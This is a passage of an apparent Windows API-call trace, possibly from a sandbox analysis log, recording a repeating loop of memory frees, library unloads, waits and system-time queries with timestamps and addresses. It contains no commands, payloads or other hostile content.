FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.834] free (_Block=0x196ef0d4e70) [0221.835] free (_Block=0x196ef0fb3b0) [0221.835] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6514dd45, dwHighDateTime=0x1d9eb0c)) [0221.844] free (_Block=0x196ef0d1fa0) [0221.844] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.844] free (_Block=0x196ef0d4e70) [0221.845] free (_Block=0x196ef0fbe50) [0221.845] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6517386c, dwHighDateTime=0x1d9eb0c)) [0221.853] free (_Block=0x196ef0d1ca0) [0221.854] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.854] free (_Block=0x196ef0d4e70) [0221.854] free (_Block=0x196ef0fb450) [0221.855] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6519985a, dwHighDateTime=0x1d9eb0c)) [0221.865] free (_Block=0x196ef0d1de0) [0221.866] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.866] free (_Block=0x196ef0d4e70) [0221.867] free (_Block=0x196ef0fbae0) [0221.867] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6527e5d4, dwHighDateTime=0x1d9eb0c)) [0221.958] free (_Block=0x196ef0d1e00) [0221.959] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.959] free (_Block=0x196ef0d4e70) [0221.960] free (_Block=0x196ef0fb9a0) [0221.960] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6527e5d4, dwHighDateTime=0x1d9eb0c)) [0221.968] free (_Block=0x196ef0d1fa0) [0221.968] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.969] free (_Block=0x196ef0d4e70) [0221.969] free (_Block=0x196ef0fbae0) [0221.969] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x652ac420, dwHighDateTime=0x1d9eb0c)) [0221.978] free (_Block=0x196ef0d1bc0) [0221.978] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.979] free (_Block=0x196ef0d4e70) [0221.979] free (_Block=0x196ef0fb450) [0221.979] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x652ac420, dwHighDateTime=0x1d9eb0c)) [0221.985] free (_Block=0x196ef0d1e60) [0221.985] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.986] free (_Block=0x196ef0d4e70) [0221.986] free (_Block=0x196ef0fc030) [0221.986] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x652caa69, dwHighDateTime=0x1d9eb0c)) [0221.992] free (_Block=0x196ef0d2020) [0221.992] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0221.993] free (_Block=0x196ef0d4e70) [0221.993] free (_Block=0x196ef0fba40) [0221.994] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0221.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x652caa69, dwHighDateTime=0x1d9eb0c)) [0221.999] free (_Block=0x196ef0d1d00) [0221.999] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.000] free (_Block=0x196ef0d4e70) [0222.000] free (_Block=0x196ef0fb950) [0222.001] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x653d6505, dwHighDateTime=0x1d9eb0c)) [0222.102] free (_Block=0x196ef0d1c40) [0222.102] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.103] free (_Block=0x196ef0d4e70) [0222.103] free (_Block=0x196ef0fb680) [0222.103] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x653d6505, dwHighDateTime=0x1d9eb0c)) [0222.109] free (_Block=0x196ef0d1d00) [0222.110] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.110] free (_Block=0x196ef0d4e70) [0222.111] free (_Block=0x196ef0fbfe0) [0222.111] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x653ff63d, dwHighDateTime=0x1d9eb0c)) [0222.119] free (_Block=0x196ef0d1980) [0222.119] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.119] free (_Block=0x196ef0d4e70) [0222.120] free (_Block=0x196ef0fb4f0) [0222.120] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x653ff63d, dwHighDateTime=0x1d9eb0c)) [0222.127] free (_Block=0x196ef0d1f40) [0222.127] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.127] free (_Block=0x196ef0d4e70) [0222.128] free (_Block=0x196ef0fbe00) [0222.128] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6542207a, dwHighDateTime=0x1d9eb0c)) [0222.136] free (_Block=0x196ef0d1b40) [0222.136] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.137] free (_Block=0x196ef0d4e70) [0222.137] free (_Block=0x196ef0fb220) [0222.137] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6552d321, dwHighDateTime=0x1d9eb0c)) [0222.241] free (_Block=0x196ef0d1c20) [0222.241] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.241] free (_Block=0x196ef0d4e70) [0222.242] free (_Block=0x196ef0fb4f0) [0222.242] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6552d321, dwHighDateTime=0x1d9eb0c)) [0222.250] free (_Block=0x196ef0d1de0) [0222.250] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.251] free (_Block=0x196ef0d4e70) [0222.251] free (_Block=0x196ef0fbd10) [0222.251] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6555330e, dwHighDateTime=0x1d9eb0c)) [0222.260] free (_Block=0x196ef0d1d60) [0222.260] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.261] free (_Block=0x196ef0d4e70) [0222.261] free (_Block=0x196ef0fb860) [0222.262] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6555330e, dwHighDateTime=0x1d9eb0c)) [0222.267] free (_Block=0x196ef0d1b40) [0222.268] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.268] free (_Block=0x196ef0d4e70) [0222.268] free (_Block=0x196ef0fb950) [0222.269] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65579692, dwHighDateTime=0x1d9eb0c)) [0222.275] free (_Block=0x196ef0d1fe0) [0222.275] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.276] free (_Block=0x196ef0d4e70) [0222.276] free (_Block=0x196ef0fb220) [0222.276] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65579692, dwHighDateTime=0x1d9eb0c)) [0222.282] free (_Block=0x196ef0d20a0) [0222.282] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.282] free (_Block=0x196ef0d4e70) [0222.283] free (_Block=0x196ef0fb860) [0222.283] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65685996, dwHighDateTime=0x1d9eb0c)) [0222.389] free (_Block=0x196ef0d1ec0) [0222.389] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.390] free (_Block=0x196ef0d4e70) [0222.393] free (_Block=0x196ef0fbae0) [0222.393] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x656aa7ce, dwHighDateTime=0x1d9eb0c)) [0222.400] free (_Block=0x196ef0d1be0) [0222.400] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.401] free (_Block=0x196ef0d4e70) [0222.401] free (_Block=0x196ef0fc120) [0222.401] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x656aa7ce, dwHighDateTime=0x1d9eb0c)) [0222.408] free (_Block=0x196ef0d20e0) [0222.409] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.409] free (_Block=0x196ef0d4e70) [0222.409] free (_Block=0x196ef0fbae0) [0222.410] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x656d0a09, dwHighDateTime=0x1d9eb0c)) [0222.417] free (_Block=0x196ef0d1e60) [0222.417] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.417] free (_Block=0x196ef0d4e70) [0222.418] free (_Block=0x196ef0fb540) [0222.418] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x657dbf3d, dwHighDateTime=0x1d9eb0c)) [0222.521] free (_Block=0x196ef0d1d60) [0222.521] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.522] free (_Block=0x196ef0d4e70) [0222.522] free (_Block=0x196ef0fb4f0) [0222.522] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x657dbf3d, dwHighDateTime=0x1d9eb0c)) [0222.530] free (_Block=0x196ef0d1aa0) [0222.531] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.531] free (_Block=0x196ef0d4e70) [0222.531] free (_Block=0x196ef0fb9a0) [0222.532] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65801cd7, dwHighDateTime=0x1d9eb0c)) [0222.540] free (_Block=0x196ef0d19e0) [0222.541] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.541] free (_Block=0x196ef0d4e70) [0222.542] free (_Block=0x196ef0fbd60) [0222.542] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65801cd7, dwHighDateTime=0x1d9eb0c)) [0222.551] free (_Block=0x196ef0d1b60) [0222.551] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.551] free (_Block=0x196ef0d4e70) [0222.552] free (_Block=0x196ef0fc170) [0222.552] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65827ebe, dwHighDateTime=0x1d9eb0c)) [0222.557] free (_Block=0x196ef0d1ec0) [0222.557] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.558] free (_Block=0x196ef0d4e70) [0222.558] free (_Block=0x196ef0fb360) [0222.558] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6590cd37, dwHighDateTime=0x1d9eb0c)) [0222.647] free (_Block=0x196ef0d1c80) [0222.647] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.648] free (_Block=0x196ef0d4e70) [0222.649] free (_Block=0x196ef0fbe50) [0222.649] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6590cd37, dwHighDateTime=0x1d9eb0c)) [0222.655] free (_Block=0x196ef0d2080) [0222.656] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.656] free (_Block=0x196ef0d4e70) [0222.657] free (_Block=0x196ef0fb900) [0222.657] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6593345d, dwHighDateTime=0x1d9eb0c)) [0222.668] free (_Block=0x196ef0d19c0) [0222.668] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.669] free (_Block=0x196ef0d4e70) [0222.670] free (_Block=0x196ef0fb9a0) [0222.670] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6593345d, dwHighDateTime=0x1d9eb0c)) [0222.676] free (_Block=0x196ef0d1ba0) [0222.677] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.678] free (_Block=0x196ef0d4e70) [0222.679] free (_Block=0x196ef0fc120) [0222.679] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6595fc7e, dwHighDateTime=0x1d9eb0c)) [0222.687] free (_Block=0x196ef0d1960) [0222.687] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.687] free (_Block=0x196ef0d4e70) [0222.688] free (_Block=0x196ef0fb4f0) [0222.688] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x659a56f8, dwHighDateTime=0x1d9eb0c)) [0222.721] free (_Block=0x196ef0d1ce0) [0222.721] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0222.722] free (_Block=0x196ef0f8f60) [0222.723] free (_Block=0x196ef0fc120) [0222.723] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65a64190, dwHighDateTime=0x1d9eb0c)) [0222.789] free (_Block=0x196ef0d1e20) [0222.789] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.790] free (_Block=0x196ef0d4e70) [0222.791] free (_Block=0x196ef0fb6d0) [0222.791] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65a64190, dwHighDateTime=0x1d9eb0c)) [0222.799] free (_Block=0x196ef0d20e0) [0222.799] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.800] free (_Block=0x196ef0d4e70) [0222.801] free (_Block=0x196ef0fbfe0) [0222.801] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65a8a4f8, dwHighDateTime=0x1d9eb0c)) [0222.807] free (_Block=0x196ef0d1c40) [0222.807] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.808] free (_Block=0x196ef0d4e70) [0222.809] free (_Block=0x196ef0fb8b0) [0222.809] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65ab07a0, dwHighDateTime=0x1d9eb0c)) [0222.819] free (_Block=0x196ef0d1be0) [0222.819] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.819] free (_Block=0x196ef0d4e70) [0222.820] free (_Block=0x196ef0fbb30) [0222.821] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65b95656, dwHighDateTime=0x1d9eb0c)) [0222.911] free (_Block=0x196ef0d1a20) [0222.912] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.912] free (_Block=0x196ef0d4e70) [0222.913] free (_Block=0x196ef0fb270) [0222.913] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65b95656, dwHighDateTime=0x1d9eb0c)) [0222.919] free (_Block=0x196ef0d1ac0) [0222.919] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.920] free (_Block=0x196ef0d4e70) [0222.921] free (_Block=0x196ef0fb8b0) [0222.921] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65bbb812, dwHighDateTime=0x1d9eb0c)) [0222.927] free (_Block=0x196ef0d1ba0) [0222.927] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.928] free (_Block=0x196ef0d4e70) [0222.928] free (_Block=0x196ef0fbfe0) [0222.929] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65bbb812, dwHighDateTime=0x1d9eb0c)) [0222.934] free (_Block=0x196ef0d1f60) [0222.934] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.935] free (_Block=0x196ef0d4e70) [0222.935] free (_Block=0x196ef0fb4f0) [0222.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65be749f, dwHighDateTime=0x1d9eb0c)) [0222.947] free (_Block=0x196ef0d1f40) [0222.947] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0222.947] free (_Block=0x196ef0d4e70) [0222.948] free (_Block=0x196ef0fb400) [0222.948] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65be749f, dwHighDateTime=0x1d9eb0c)) [0223.008] free (_Block=0x196ef0d2080) [0223.008] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.008] free (_Block=0x196ef0d4e70) [0223.009] free (_Block=0x196ef0fbb30) [0223.009] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65c7a232, dwHighDateTime=0x1d9eb0c)) [0223.016] free (_Block=0x196ef0d1be0) [0223.016] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.016] free (_Block=0x196ef0d4e70) [0223.017] free (_Block=0x196ef0fc170) [0223.017] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65ca06de, dwHighDateTime=0x1d9eb0c)) [0223.023] free (_Block=0x196ef0d1aa0) [0223.023] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.024] free (_Block=0x196ef0d4e70) [0223.024] free (_Block=0x196ef0fbea0) [0223.024] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65ca06de, dwHighDateTime=0x1d9eb0c)) [0223.031] free (_Block=0x196ef0d1ac0) [0223.031] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.032] free (_Block=0x196ef0d4e70) [0223.032] free (_Block=0x196ef0fb810) [0223.032] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65cc6c15, dwHighDateTime=0x1d9eb0c)) [0223.039] free (_Block=0x196ef0d1ea0) [0223.039] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.040] free (_Block=0x196ef0d4e70) [0223.040] free (_Block=0x196ef0fb220) [0223.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65cc6c15, dwHighDateTime=0x1d9eb0c)) [0223.049] free (_Block=0x196ef0d1fe0) [0223.049] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.049] free (_Block=0x196ef0d4e70) [0223.050] free (_Block=0x196ef0fbd60) [0223.050] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65d5f00d, dwHighDateTime=0x1d9eb0c)) [0223.110] free (_Block=0x196ef0d20c0) [0223.110] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.110] free (_Block=0x196ef0d4e70) [0223.111] free (_Block=0x196ef0fb360) [0223.111] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65d880af, dwHighDateTime=0x1d9eb0c)) [0223.117] free (_Block=0x196ef0d1ca0) [0223.117] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.117] free (_Block=0x196ef0d4e70) [0223.118] free (_Block=0x196ef0fb4a0) [0223.119] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65dabd0c, dwHighDateTime=0x1d9eb0c)) [0223.135] free (_Block=0x196ef0d1aa0) [0223.135] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.136] free (_Block=0x196ef0d4e70) [0223.137] free (_Block=0x196ef0fb720) [0223.137] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65e43f17, dwHighDateTime=0x1d9eb0c)) [0223.194] free (_Block=0x196ef0d19c0) [0223.194] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.194] free (_Block=0x196ef0d4e70) [0223.195] free (_Block=0x196ef0fba90) [0223.195] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0223.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x65e43f17, dwHighDateTime=0x1d9eb0c)) [0223.206] free (_Block=0x196ef0d1e60) [0223.206] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0223.207] free 